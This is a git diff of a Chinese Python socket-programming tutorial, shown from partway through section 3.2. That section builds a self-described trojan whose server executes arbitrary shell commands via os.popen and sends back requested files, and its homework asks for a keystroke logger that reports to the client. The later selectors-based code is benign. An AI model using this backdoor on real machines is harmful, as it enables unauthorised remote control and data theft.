+这里有个交互,客户端收到大小信息后,会回复一个消息给服务端,服务端在这里等待客户端的消息,这会挂起连接直到客户端消息到达。实际作用是分割了文件大小和文件内容的发送和接收,避免了粘包的情况。 + +接下来打开文件,循环发送。 + +服务端最后一个功能是执行shell命令,这里执行shell命令并且能获取返回值的简单做法为调用 +``` +os.popen(cmd).read() +``` +方法。 + +下面将executeCommand方法补充完整: + +```Python + def executeCommand(self, tcpCliSock, data): # 解析并执行命令 + try:# + message = data.decode("utf-8") + if os.path.isfile(message):#判断是否是文件 + filesize = str(os.path.getsize(message))#获取文件大小 + print("文件大小为:",filesize) + tcpCliSock.send(filesize.encode())#发送文件大小 + data = tcpCliSock.recv(self.bufferSize) + print("开始发送") + f = open(message, "rb")#打开文件 + for line in f: + tcpCliSock.send(line)#发送文件内容 + else: + tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8')) + except: + raise +``` + +补充的逻辑中,注意使用了encode方法对数据进行编码,接收端需要使用同样的编码格式进行解码。同时需要注意,在shell命令执行结果前我们添加了'0001',客户端需要根据此消息头来确定返回的数据是文件还是shell命令执行结果。到此服务端程序基本完成,下面写客户端。 + +### 3.2.2 客户端 + +和上一节类似,我们先完成一个基本客户端程序。 + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys +import re +import os + +class Client: + def __init__(self,serverIp,serverPort): + self.serverIp=serverIp #待连接的远程主机的域名 + self.serverPort = serverPort + + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + + try: + s.connect((self.serverIp,self.serverPort)) + while True: + #接收用户输入内容 + #发送命令到服务端 + #接收数据 + #判断数据类型 + #命令结果 + #文件 + #接收文件并写入磁盘 + except socket.error: + s.close() + raise #退出进程 + + + + + +if __name__ == '__main__': + cl = Client('127.0.0.1',8800) + cl.connet() + sys.exit() #退出进程 + +``` + +在connect方法中,我们使用while...True来保持客户端和服务器的长连接,并且需要实现的功能为接收用户从命令行传入的命令,然后将命令发送到服务端。接收服务端返回的数据,并判断数据是shell命令结果还是文件内容。如果是文件内容则将文件数据循环接收,写入磁盘。下面我们分解一下基本功能点。 + +接收用户输入,我们可以使用‘input’函数。 + +数据接收之后我们需要判断是否是以‘0001’开头,可以使用正则库re来进行正则匹配: + +```Python +re.search("^0001",message) +``` + +接收文件的时候,需要循环接收,直到指定大小。 + +```Python +while received_size < file_total_size: + data = tcpCliSock.recv(bufferSize) + f.write(data)#文件写入 + received_size += len(data)#累积大小 + print("已接收:", received_size) +#接收完毕 +``` + +下面我们来完善connet方法。 + +```Python + def connet(self): #连接方法 + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + except socket.error as e: + print("Failed to create socket. Error: %s"%e) + + try: + s.connect((self.serverIp,self.serverPort)) + while True: + message = input('> ')#接收用户输入 + if not message: + break + s.send(bytes(message, 'utf-8'))#发送命令 + data = s.recv(self.bufferSize)#接收数据 + if not data: + break + if re.search("^0001",data.decode('utf-8','ignore')):#判断数据类型 + print(data.decode('utf-8')[4:]) + else:#文件内容处理 + s.send("File size received".encode())#通知服务端可以发送文件了 + file_total_size = int(data.decode())#总大小 + received_size = 0 + f = open("new" +os.path.split(message)[-1], "wb")#创建文件 + while received_size < file_total_size: + data = s.recv(self.bufferSize) + f.write(data)#写文件 + received_size += len(data)#累加接收长度 + print("已接收:", received_size) + f.close()#关闭文件 + print("receive done", file_total_size, " ", received_size) + except socket.error: + s.close() + raise #退出进程 + finally: + s.close() +``` + +客户端的方法到此完善完毕。 + +### 3.2.3 测试 + +我们可以启动服务端和客户端进行简单的测试。先启动服务端: + +![](img/1.png) + +再启动客户端,输入ls命令: + +![](img/2.png) + +我们看到ls命令的返回结果,有两个文件,接下来我们要求服务端返回client.py的文件内容。 +客户端输出内容如下图: + +![](img/3.png) + +服务端输出内容如下图: + +![](img/4.png) + +从上面的结果我可以看出,服务端和客户端的整个交互流程。最后客户端成功接收了文件: + +![](img/6.png) + +### 3.2.4 小结 + +本节我们在的socket编程的基础上,完成了一个建议木马程序的客户端和服务端,继续巩固了之前所学的知识。本节的作业如下: + +1. 给木马程序添加键盘监控功能,并发送键盘记录信息给客户端 + +下一节,我们继续学习更加复杂的大型客户端、服务端编程的方法。 + + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + diff --git a/3.2.pdf b/3.2.pdf new file mode 100644 index 0000000..31c97f3 Binary files /dev/null and b/3.2.pdf differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/3.3.pdf" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/3.3.pdf" new file mode 100644 index 0000000..6c84c0e Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/3.3.pdf" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/client.py" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/client.py" new file mode 100644 index 0000000..e33a386 --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/client.py" @@ -0,0 +1,69 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys +import selectors +import types + +# 测试类 + + +class Client: + def __init__(self, host, port, numConn): + self.host = host # 待连接的远程主机的域名 + self.port = port + self.message = [b'message 1 from client', b'message 2 from client'] + self.numConn = numConn + self.selector = selectors.DefaultSelector() + + def connet(self): # 连接方法 + server_addr = (self.host, self.port) + for i in range(0, self.numConn): + connid = i + 1 + print('开始连接', connid, '到', server_addr) + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.setblocking(False) + sock.connect_ex(server_addr)#连接服务端 + events = selectors.EVENT_READ | selectors.EVENT_WRITE + data = types.SimpleNamespace(connid=connid, + msg_total=sum(len(m) for m in self.message), + recv_total=0, + messages=list(self.message), + outb=b'') + self.selector.register(sock, events, data=data) + + try: + while True: + events = self.selector.select(timeout=1) + if events: + for key, mask in events: + self.service_connection(key, mask) + + finally: + self.selector.close() + + def service_connection(self,key, mask): + sock = key.fileobj + data = key.data + if mask & selectors.EVENT_READ: + recv_data = sock.recv(1024) + if recv_data: + print("收到", repr(recv_data), "来自连接", data.connid) + data.recv_total += len(recv_data) + if not recv_data or data.recv_total == data.msg_total: + print("关闭连接:", data.connid) + self.selector.unregister(sock) + sock.close() + if mask & selectors.EVENT_WRITE: + if not data.outb and data.messages: + data.outb = data.messages.pop(0) + if data.outb: + print("发送", repr(data.outb), "到连接", data.connid) + sent = sock.send(data.outb) #发送数据 + data.outb = data.outb[sent:]#清空数据 + + + +if __name__ == '__main__': + cl = Client('127.0.0.1', 8800, 5) + cl.connet() diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libclient.py" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libclient.py" new file mode 100644 index 0000000..240e2c7 --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libclient.py" @@ -0,0 +1,208 @@ +import sys +import selectors +import json +import io +import struct + + +class Message: + def __init__(self, selector, sock, addr, request): + self.selector = selector + self.sock = sock + self.addr = addr + self.request = request + self._recv_buffer = b"" + self._send_buffer = b"" + self._request_queued = False + self._jsonheader_len = None + self.jsonheader = None + self.response = None + + def _set_selector_events_mask(self, mode): + """Set selector to listen for events: mode is 'r', 'w', or 'rw'.""" + if mode == "r": + events = selectors.EVENT_READ + elif mode == "w": + events = selectors.EVENT_WRITE + elif mode == "rw": + events = selectors.EVENT_READ | selectors.EVENT_WRITE + else: + raise ValueError(f"Invalid events mask mode {repr(mode)}.") + self.selector.modify(self.sock, events, data=self) + + def _read(self): + try: + # Should be ready to read + data = self.sock.recv(4096) + except BlockingIOError: + # Resource temporarily unavailable (errno EWOULDBLOCK) + pass + else: + if data: + self._recv_buffer += data + else: + raise RuntimeError("Peer closed.") + + def _write(self): + if self._send_buffer: + print("sending", repr(self._send_buffer), "to", self.addr) + try: + # Should be ready to write + sent = self.sock.send(self._send_buffer) + except BlockingIOError: + # Resource temporarily unavailable (errno EWOULDBLOCK) + pass + else: + self._send_buffer = self._send_buffer[sent:] + + def _json_encode(self, obj, encoding): + return json.dumps(obj, ensure_ascii=False).encode(encoding) + + def _json_decode(self, json_bytes, encoding): + tiow = io.TextIOWrapper( + io.BytesIO(json_bytes), encoding=encoding, newline="" + ) + obj = json.load(tiow) + tiow.close() + return obj + + def _create_message( + self, *, content_bytes, content_type, content_encoding + ): + jsonheader = { + "byteorder": sys.byteorder, + "content-type": content_type, + "content-encoding": content_encoding, + "content-length": len(content_bytes), + } + jsonheader_bytes = self._json_encode(jsonheader, "utf-8") + message_hdr = struct.pack(">H", len(jsonheader_bytes)) + message = message_hdr + jsonheader_bytes + content_bytes + return message + + def _process_response_json_content(self): + content = self.response + result = content.get("result") + print(f"got result: {result}") + + def _process_response_binary_content(self): + content = self.response + print(f"got response: {repr(content)}") + + def process_events(self, mask): + if mask & selectors.EVENT_READ: + self.read() + if mask & selectors.EVENT_WRITE: + self.write() + + def read(self): + self._read() + + if self._jsonheader_len is None: + self.process_protoheader() + + if self._jsonheader_len is not None: + if self.jsonheader is None: + self.process_jsonheader() + + if self.jsonheader: + if self.response is None: + self.process_response() + + def write(self): + if not self._request_queued: + self.queue_request() + + self._write() + + if self._request_queued: + if not self._send_buffer: + # Set selector to listen for read events, we're done writing. + self._set_selector_events_mask("r") + + def close(self): + print("closing connection to", self.addr) + try: + self.selector.unregister(self.sock) + except Exception as e: + print( + f"error: selector.unregister() exception for", + f"{self.addr}: {repr(e)}", + ) + + try: + self.sock.close() + except OSError as e: + print( + f"error: socket.close() exception for", + f"{self.addr}: {repr(e)}", + ) + finally: + # Delete reference to socket object for garbage collection + self.sock = None + + def queue_request(self): + content = self.request["content"] + content_type = self.request["type"] + content_encoding = self.request["encoding"] + if content_type == "text/json": + req = { + "content_bytes": self._json_encode(content, content_encoding), + "content_type": content_type, + "content_encoding": content_encoding, + } + else: + req = { + "content_bytes": content, + "content_type": content_type, + "content_encoding": content_encoding, + } + message = self._create_message(**req) + self._send_buffer += message + self._request_queued = True + + def process_protoheader(self): + hdrlen = 2 + if len(self._recv_buffer) >= hdrlen: + self._jsonheader_len = struct.unpack( + ">H", self._recv_buffer[:hdrlen] + )[0] + self._recv_buffer = self._recv_buffer[hdrlen:] + + def process_jsonheader(self): + hdrlen = self._jsonheader_len + if len(self._recv_buffer) >= hdrlen: + self.jsonheader = self._json_decode( + self._recv_buffer[:hdrlen], "utf-8" + ) + self._recv_buffer = self._recv_buffer[hdrlen:] + for reqhdr in ( + "byteorder", + "content-length", + "content-type", + "content-encoding", + ): + if reqhdr not in self.jsonheader: + raise ValueError(f'Missing required header "{reqhdr}".') + + def process_response(self): + content_len = self.jsonheader["content-length"] + if not len(self._recv_buffer) >= content_len: + return + data = self._recv_buffer[:content_len] + self._recv_buffer = self._recv_buffer[content_len:] + if self.jsonheader["content-type"] == "text/json": + encoding = self.jsonheader["content-encoding"] + self.response = self._json_decode(data, encoding) + print("received response", repr(self.response), "from", self.addr) + self._process_response_json_content() + else: + # Binary or unknown content-type + self.response = data + print( + f'received {self.jsonheader["content-type"]} response from', + self.addr, + ) + self._process_response_binary_content() + # Close when response has been processed + self.close() diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libserver.py" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libserver.py" new file mode 100644 index 0000000..7b6fb38 --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/libserver.py" @@ -0,0 +1,216 @@ +import sys +import selectors +import json +import io +import struct + +request_search = { + "morpheus": "Follow the white rabbit. \U0001f430", + "ring": "In the caves beneath the Misty Mountains. \U0001f48d", + "\U0001f436": "\U0001f43e Playing ball! \U0001f3d0", +} + + +class Message: + def __init__(self, selector, sock, addr): + self.selector = selector + self.sock = sock + self.addr = addr + self._recv_buffer = b"" + self._send_buffer = b"" + self._jsonheader_len = None + self.jsonheader = None + self.request = None + self.response_created = False + + def _set_selector_events_mask(self, mode): + """Set selector to listen for events: mode is 'r', 'w', or 'rw'.""" + if mode == "r": + events = selectors.EVENT_READ + elif mode == "w": + events = selectors.EVENT_WRITE + elif mode == "rw": + events = selectors.EVENT_READ | selectors.EVENT_WRITE + else: + raise ValueError(f"Invalid events mask mode {repr(mode)}.") + self.selector.modify(self.sock, events, data=self) + + def _read(self): + try: + # Should be ready to read + data = self.sock.recv(4096) + except BlockingIOError: + # Resource temporarily unavailable (errno EWOULDBLOCK) + pass + else: + if data: + self._recv_buffer += data + else: + raise RuntimeError("Peer closed.") + + def _write(self): + if self._send_buffer: + print("sending", repr(self._send_buffer), "to", self.addr) + try: + # Should be ready to write + sent = self.sock.send(self._send_buffer) + except BlockingIOError: + # Resource temporarily unavailable (errno EWOULDBLOCK) + pass + else: + self._send_buffer = self._send_buffer[sent:] + # Close when the buffer is drained. The response has been sent. + if sent and not self._send_buffer: + self.close() + + def _json_encode(self, obj, encoding): + return json.dumps(obj, ensure_ascii=False).encode(encoding) + + def _json_decode(self, json_bytes, encoding): + tiow = io.TextIOWrapper( + io.BytesIO(json_bytes), encoding=encoding, newline="" + ) + obj = json.load(tiow) + tiow.close() + return obj + + def _create_message( + self, *, content_bytes, content_type, content_encoding + ): + jsonheader = { + "byteorder": sys.byteorder, + "content-type": content_type, + "content-encoding": content_encoding, + "content-length": len(content_bytes), + } + jsonheader_bytes = self._json_encode(jsonheader, "utf-8") + message_hdr = struct.pack(">H", len(jsonheader_bytes)) + message = message_hdr + jsonheader_bytes + content_bytes + return message + + def _create_response_json_content(self): + action = self.request.get("action") + if action == "search": + query = self.request.get("value") + answer = request_search.get(query) or f'No match for "{query}".' + content = {"result": answer} + else: + content = {"result": f'Error: invalid action "{action}".'} + content_encoding = "utf-8" + response = { + "content_bytes": self._json_encode(content, content_encoding), + "content_type": "text/json", + "content_encoding": content_encoding, + } + return response + + def _create_response_binary_content(self): + response = { + "content_bytes": b"First 10 bytes of request: " + + self.request[:10], + "content_type": "binary/custom-server-binary-type", + "content_encoding": "binary", + } + return response + + def process_events(self, mask): + if mask & selectors.EVENT_READ: + self.read() + if mask & selectors.EVENT_WRITE: + self.write() + + def read(self): + self._read() + + if self._jsonheader_len is None: + self.process_protoheader() + + if self._jsonheader_len is not None: + if self.jsonheader is None: + self.process_jsonheader() + + if self.jsonheader: + if self.request is None: + self.process_request() + + def write(self): + if self.request: + if not self.response_created: + self.create_response() + + self._write() + + def close(self): + print("closing connection to", self.addr) + try: + self.selector.unregister(self.sock) + except Exception as e: + print( + f"error: selector.unregister() exception for", + f"{self.addr}: {repr(e)}", + ) + + try: + self.sock.close() + except OSError as e: + print( + f"error: socket.close() exception for", + f"{self.addr}: {repr(e)}", + ) + finally: + # Delete reference to socket object for garbage collection + self.sock = None + + def process_protoheader(self): + hdrlen = 2 + if len(self._recv_buffer) >= hdrlen: + self._jsonheader_len = struct.unpack( + ">H", self._recv_buffer[:hdrlen] + )[0] + self._recv_buffer = self._recv_buffer[hdrlen:] + + def process_jsonheader(self): + hdrlen = self._jsonheader_len + if len(self._recv_buffer) >= hdrlen: + self.jsonheader = self._json_decode( + self._recv_buffer[:hdrlen], "utf-8" + ) + self._recv_buffer = self._recv_buffer[hdrlen:] + for reqhdr in ( + "byteorder", + "content-length", + "content-type", + "content-encoding", + ): + if reqhdr not in self.jsonheader: + raise ValueError(f'Missing required header "{reqhdr}".') + + def process_request(self): + content_len = self.jsonheader["content-length"] + if not len(self._recv_buffer) >= content_len: + return + data = self._recv_buffer[:content_len] + self._recv_buffer = self._recv_buffer[content_len:] + if self.jsonheader["content-type"] == "text/json": + encoding = self.jsonheader["content-encoding"] + self.request = self._json_decode(data, encoding) + print("received request", repr(self.request), "from", self.addr) + else: + # Binary or unknown content-type + self.request = data + print( + f'received {self.jsonheader["content-type"]} request from', + self.addr, + ) + # Set selector to listen for write events, we're done reading. + self._set_selector_events_mask("w") + + def create_response(self): + if self.jsonheader["content-type"] == "text/json": + response = self._create_response_json_content() + else: + # Binary or unknown content-type + response = self._create_response_binary_content() + message = self._create_message(**response) + self.response_created = True + self._send_buffer += message diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/server.py" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/server.py" new file mode 100644 index 0000000..f888125 --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/code/server.py" @@ -0,0 +1,65 @@ +# -*- coding: UTF-8 -*- + +import socket +import sys +import selectors +import types + +class server: + def __init__(self,ip,port): + self.port=port + self.ip=ip + self.selector = selectors.DefaultSelector()#初始化selector + + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + try: + s.bind((self.ip,self.port)) + s.listen() + print('等待连接:',(self.ip,self.port)) + s.setblocking(False) # 非阻塞 + self.selector.register(s,selectors.EVENT_READ,None)#注册I/O对象 + while True: + events = self.selector.select(timeout=None)#阻塞调用,等待新的读/写事件 + for key, mask in events: + if key.data is None:#新的连接请求 + self.accept_wrapper(key.fileobj) + else:#收到客户端连接发送的数据 + self.service_connection(key, mask) + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() #关闭服务端 + + def accept_wrapper(self,sock): + conn, addr = sock.accept() # Should be ready to read + print('接收客户端连接', addr) + conn.setblocking(False) #非阻塞 + data = types.SimpleNamespace(addr=addr, inb=b'', outb=b'')#socket数据 + events = selectors.EVENT_READ | selectors.EVENT_WRITE #监听读写 + self.selector.register(conn, events, data=data)#注册客户端socket + + def service_connection(self,key, mask): + sock = key.fileobj + data = key.data + if mask & selectors.EVENT_READ: + recv_data = sock.recv(1024) # 接收数据 + if recv_data: + data.outb += recv_data + else:#客户端断开连接 + print('关闭连接', data.addr) + self.selector.unregister(sock)#取消注册,防止出错 + sock.close() + if mask & selectors.EVENT_WRITE: + if data.outb: + print('发送', repr(data.outb), '到', data.addr) + sent = sock.send(data.outb) + data.outb = data.outb[sent:] + + +if __name__ == '__main__': + s = server('',8800) + s.start() + + diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/0.jpg" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/0.jpg" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/00.jpeg" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/00.jpeg" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/1.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/1.png" new file mode 100644 index 0000000..b784699 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/1.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/2.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/2.png" new file mode 100644 index 0000000..bfa1240 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/2.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/3.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/3.png" new file mode 100644 index 0000000..3cd5226 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/3.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/4.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/4.png" new file mode 100644 index 0000000..d8e1431 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/4.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/5.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/5.png" new file mode 100644 index 0000000..5f86c7f Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/5.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/6.png" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/6.png" new file mode 100644 index 0000000..f1d4827 Binary files /dev/null and "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/img/6.png" differ diff --git "a/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/\345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213.md" "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/\345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213.md" new file mode 100644 index 0000000..324d13e --- /dev/null +++ "b/3.3 \345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/\345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213.md" @@ -0,0 +1,328 @@ +## 3.3 多连接、非阻塞的服务端、客户端编程 + +上一节我们在基本的客户端和服务端编程模型基础上,实现了一个简单的木马。多客户端同时连接服务端的场景下,处理起来要复杂得多,通常的解决方案是利用多线程或者多进程来解决并发问题,但是编程难度成倍提升。在Python中我们还有一个折中的选择就是selectors模块,该模块基于Unix经典的select系统调用模型,它可以监听I/O操作的结果以实现异步调用,基于此种方案可以同时挂起多个socket连接,根据读写状态进行回调。内部原理我们在本系列文章中不做过多解释,同学们掌握基本用法即可。模块参考:https://docs.python.org/3/library/selectors.html。 + +同时在数据收发上,可能会出现“粘包”的情况,需要自定义数据封包协议来解决这样的问题。 + +``` +什么是粘包? + +1.发送端为了将多个发往接收端的包,更有效的发到对方,使用了优化方法(Nagle算法),将多次间隔较小、数据量小的数据包,合并成一个大的数据包发送(把发送端的缓冲区填满一次性发送)。 + +2接收端底层会把tcp段整理排序交给缓冲区,这样接收端应用程序从缓冲区取数据就只能得到整体数据而不知道怎么拆分 + +比如发送端发送了一个由2个100字节组成的200字节的数据包到接受端的缓冲区,接受端从缓冲去一次取80字节的数据,那么第一次取的就是一个不完整的数据包,第二次取就会带上第一个数据包的尾部和下一个数据包的头部数据。 + +``` + +下面我们开始基于selectors构建服务端和客户端。 + +### 3.3.1 服务端编程 + +首先创建server.py 文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys +import selectors#导入selectors模块 + +class server: + def __init__(self,ip,port): + self.port=port + self.ip=ip + self.selector = selectors.DefaultSelector()#初始化selector + + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + try: + s.bind((self.ip,self.port)) + s.listen() + print('等待监听:',(self.ip,self.port)) + s.setblocking(False) # 非阻塞 + self.selector.register(s,selectors.EVENT_READ,None)#注册I/O对象 + + except socket.error as e: 